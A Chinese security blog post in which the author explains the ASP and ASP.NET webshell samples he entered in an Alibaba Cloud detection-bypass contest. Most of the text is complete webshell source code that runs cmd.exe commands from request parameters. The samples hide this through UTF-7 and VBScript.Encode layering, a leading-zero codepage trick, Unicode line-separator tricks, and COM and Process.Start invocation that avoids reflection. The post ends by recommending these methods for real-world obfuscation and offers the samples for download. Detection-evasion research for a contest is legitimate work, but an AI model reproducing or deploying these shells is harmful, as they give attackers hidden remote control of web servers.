前言
24年年底的时候参加了一下阿里云的第四届伏魔挑战赛,本着学习一下.NET
的想法玩的ASP/ASP.NET
赛道。但是当时一直没空,等到活动最后一天才抽出时间测试。一个晚上提交了15个绕过样本,重复了12个太惨了这就是最后一天提交的结果,后来看榜单应该都是重复的Ivan1ee
师傅的,专门研究.NET的还是强。第三届我也玩了提交17个样本重复5个通过12个,这篇文章挑部分绕过样本进行思路分析。
ASP
asp
样本分享下面两个,绕过思路为前导零、双重编码。
前导零
asp
支持将代码utf-7
编码,于是构造出下面shell
样本进行测试。
<%@codepage=65000%>
<%
+AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBrAGkAbABsAGUAcgAiACkAKQ-
%>
可能因为是很久以前的公开手法直接被杀,注意到codepage=65000
推测这里65000
可能采用数字类型进行解析,在某些语言里有一种技巧在解析数字时会丢弃前导零。比如065000
会被解析为65000
。于是将codepage
写为065000
发现也可以成功解析,多次尝试以后发现最多写成0000065000
可以识别成功。猜测原因是Long类型最长为十位数字,在解析之前对大于十位的数字直接报错或者不解析。于是提交如下样本成功绕过伏魔引擎。
<%@codepage=0000065000%>
<%
+AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBrAGkAbABsAGUAcgAiACkAKQ-
%>
双重编码
asp
支持将代码VBScript.Encode
编码。
<%@ LANGUAGE = "VBScript.Encode"%>
<%
#@~^LwAAAA==]A/2KxU+R1W93wmon'+*TT8)27CVvD+$;n/D`r3rVsnMJb#wg8AAA==^#~@
%>
直接提交依然被杀。注意到VBScript.Encode
和utf-7
编码不是同一个配置项,于是想到能不能使用双重编码绕过,测试以后发现可以也能够被正确解析。绕过样本如下先使用VBScript.Encode
编码内容再使用utf-7
编码即可。
<%@ LANGUAGE = "VBScript.Encode" codepage=65000%>
<%
+ACM-+AEA-+AH4-+AF4-LwAAAA+AD0-+AD0-+AF0-A/2KxU+-R1W93wmon'+-+ACo-TT8)27CVvD+-+ACQ-+ADs-n/D+AGA-r3rVsnMJb+ACM-wg8AAA+AD0-+AD0-+AF4-+ACM-+AH4-+AEA-
%>

ASP.NET
aspx
的样本第三届的时候比较容易绕过,有很多污点源都没打标这类就不写了。主要写两类特殊语法、危险方法替换。
特殊语法
以前看别人绕jsp
学到的使用注释//
加\u000a
换行进行来绕过
<%@ Page Language="Jscript"%>
<%
var p = eval("//\u000a\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>
测试发现可以解析但是伏魔引擎检测为webshell
查阅资料发现使用\u2029
段落分隔符也可以起到换行的作用。测试可以解析并绕过。
<%@ Page Language="Jscript"%>
<%
var p = eval("//\u2029\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>
aspx
支持下面这种语法,将多个<%...%>
之间的代码相加。
<%@ Page Language="Jscript"%>
<%
var p = eval(""%><%+"\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>
测试发现无法绕过,在%><%
添加换行成功绕过。
<%@ Page Language="Jscript"%>
<%
var p = eval(""%>
<%+"\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
eval(p,"unsafe");
%>
global::
是C#
中的全局命名空间别名,它允许你明确地引用全局命名空间中的类型,避免命名冲突。所以可以写出下面的绕过样本。
<%@ Page Language="c#"%>
<%
global::System.Diagnostics.ProcessStartInfo psi = new global::System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + Request.Params.Get("g");
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
global::System.Diagnostics.Process p = global::System.Diagnostics.Process.Start(psi);
System.IO.StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
Response.Write(s);
%>
危险方法替换
我们先写出一个经典的aspx
调用WScript.Shell
执行命令的webshell
来进行变换。
<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = new ActiveXObject("WScript.Shell").Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) {
Str = Str + OutStream.readAll();
}
Response.Write("<pre>"+Str+"</pre>");
%>
这个样本毫无疑问被杀,经过FUZZ发现关键点在于ActiveXObject
和WScript.Shell
不能同时出现。于是写出5种不同的绕过方式。
使用unescape("%57%53%63%72%69%70%74%2e%53%68%65%6c%6c")
代替WScript.Shell
<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = new ActiveXObject(unescape("%57%53%63%72%69%70%74%2e%53%68%65%6c%6c")).Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) {
Str = Str + OutStream.readAll();
}
Response.Write("<pre>"+Str+"</pre>");
%>
在Jscript
中使用GetObject
创建WScript.Shell
对象
<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) {
Str = Str + OutStream.readAll();
}
Response.Write("<pre>"+Str+"</pre>");
%>
在C#
中使用GetTypeFromCLSID
来创建WScript.Shell
对象
<%@ Page Language="C#" %>
<%
string command = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(command))
{
try
{
// 使用 System.Type.GetTypeFromCLSID 来创建 WScript.Shell 对象
Type shellType = Type.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8"));
dynamic shell = Activator.CreateInstance(shellType);
dynamic exec = shell.Exec("cmd.exe /c " + command);
dynamic stdout = exec.StdOut;
string output = "";
while (!stdout.AtEndOfStream)
{
output += stdout.ReadLine() + "\n";
}
Response.Write(output);
}
catch (Exception ex)
{
Response.Write($"Error: {Server.HtmlEncode(ex.Message)}");
}
}
else
{
Response.Write("No command");
}
%>
在C#
中使用GetTypeFromProgID
来创建WScript.Shell
对象
<%@ Page Language="C#" %>
<%
string command = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(command))
{
try
{
// 使用 GetTypeFromProgID 创建 WScript.Shell 对象
Type shellType = Type.GetTypeFromProgID("WScript.Shell");
dynamic shell = Activator.CreateInstance(shellType);
dynamic exec = shell.Exec("cmd.exe /c " + command);
dynamic stdout = exec.StdOut;
string output = "";
while (!stdout.AtEndOfStream)
{
output += stdout.ReadLine() + "\n";
}
Response.Write(output);
}
catch (Exception ex)
{
Response.Write($"Error: {Server.HtmlEncode(ex.Message)}");
}
}
else
{
Response.Write("No command");
}
%>
在VB
中使用CreateObject
来创建WScript.Shell
对象
<%@ Page Language="VB" %>
<%
Dim command As String = Request.QueryString("cmd")
If Not String.IsNullOrEmpty(command) Then
Try
' 使用CreateObject创建 WScript.Shell 对象
Dim shell As Object = CreateObject("WScript.Shell")
Dim exec As Object = shell.Exec("cmd.exe /c " & command)
Dim stdout As Object = exec.StdOut
Dim output As String = ""
While Not stdout.AtEndOfStream
output &= stdout.ReadLine() & vbCrLf
End While
Response.Write(output)
Catch ex As Exception
Response.Write("Error: " & ex.Message)
End Try
Else
Response.Write("No command")
End If
%>
我们再写出一个使用System.Diagnostics.Process.Start
来执行命令的经典样本。
<%@ Page Language="c#"%>
<%
System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + Request.Params.Get("g");
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
System.Diagnostics.Process p = System.Diagnostics.Process.Start(psi);
System.IO.StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
Response.Write(s);
%>
进过测试发现主要就是对调用System.Diagnostics.Process.Start
方法进行了检测,传统思路就是通过反射来获取Start
方法然后执行。进过测试对反射检测较为严格,于是转为寻找可以实现类似反射效果的方法。找到4种类似方法可以绕过。
在JScript
中使用Function.apply
动态调用Start
方法
<%@ Page Language="JScript" %>
<%
var userCommand = Request.Params["g"];
if (userCommand != null && userCommand != "") {
try {
var psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + userCommand;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
var process = new System.Diagnostics.Process();
process.StartInfo = psi;
// 使用 Function.apply 动态调用 Start 方法
process.Start.apply(process, []);
var output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
Response.Write(Server.HtmlEncode(output));
} catch (ex) {
Response.Write("Error: " + Server.HtmlEncode(ex.Message));
}
} else {
Response.Write("No command");
}
%>
在VB
中委托绑定Start
方法
<%@ Page Language="VB" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用委托绑定 Process.Start 方法
Dim startMethod As StartDelegate = AddressOf process.Start
startMethod.Invoke()
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>
<script runat="server">
Public Delegate Function StartDelegate() As Boolean
</script>
在VB
中使用DynamicObject
动态调用Start
方法
<%@ Page Language="VB" %>
<%@ Import Namespace="System.Dynamic" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用 DynamicProcess 动态调用 Start 方法
Dim dynamicProcess As Object = New DynamicProcess(process)
dynamicProcess.Start()
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>
<script runat="server">
Public Class DynamicProcess
Inherits DynamicObject
Private ReadOnly _process As System.Diagnostics.Process
Public Sub New(process As System.Diagnostics.Process)
_process = process
End Sub
Public Overrides Function TryInvokeMember(binder As InvokeMemberBinder, args() As Object, ByRef result As Object) As Boolean
If binder.Name = "Start" Then
result = _process.Start()
Return True
End If
Return MyBase.TryInvokeMember(binder, args, result)
End Function
End Class
</script>
在VB
中使用CallByName
动态调用Start
方法
<%@ Page Language="VB" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用 CallByName 动态调用 Process.Start
CallByName(process, "Start", CallType.Method)
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>
总结
相对于jsp/php
样本而言asp/asp.net
样本的绕过还是相对比较简单,本文仅对提交的部分样本进行分析,主要绕过技术总结如下。
- 编码混淆:多层编码增加检测复杂度
- 语法变形:利用语言特性实现功能等价替换
- 反射替代:通过委托、动态调用等方式避开反射检测
- 跨语言技巧:在 C#、VB、JScript 间灵活运用不同特性
asp.net
支持多种语言如VB/C#/JScript
这也变相增加了webshell的查杀难度。因为仅仅是测试引擎的绕过,实战中还需使用上述手法结合Unicode
编码、特殊Unicode
字符、命名空间别名、反射、注释等手段进行webshell混淆以达到最佳效果。
如需上述样本进行测试研究可关注本公众号漫漫安全路
,回复aspx
得到下载地址。
本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。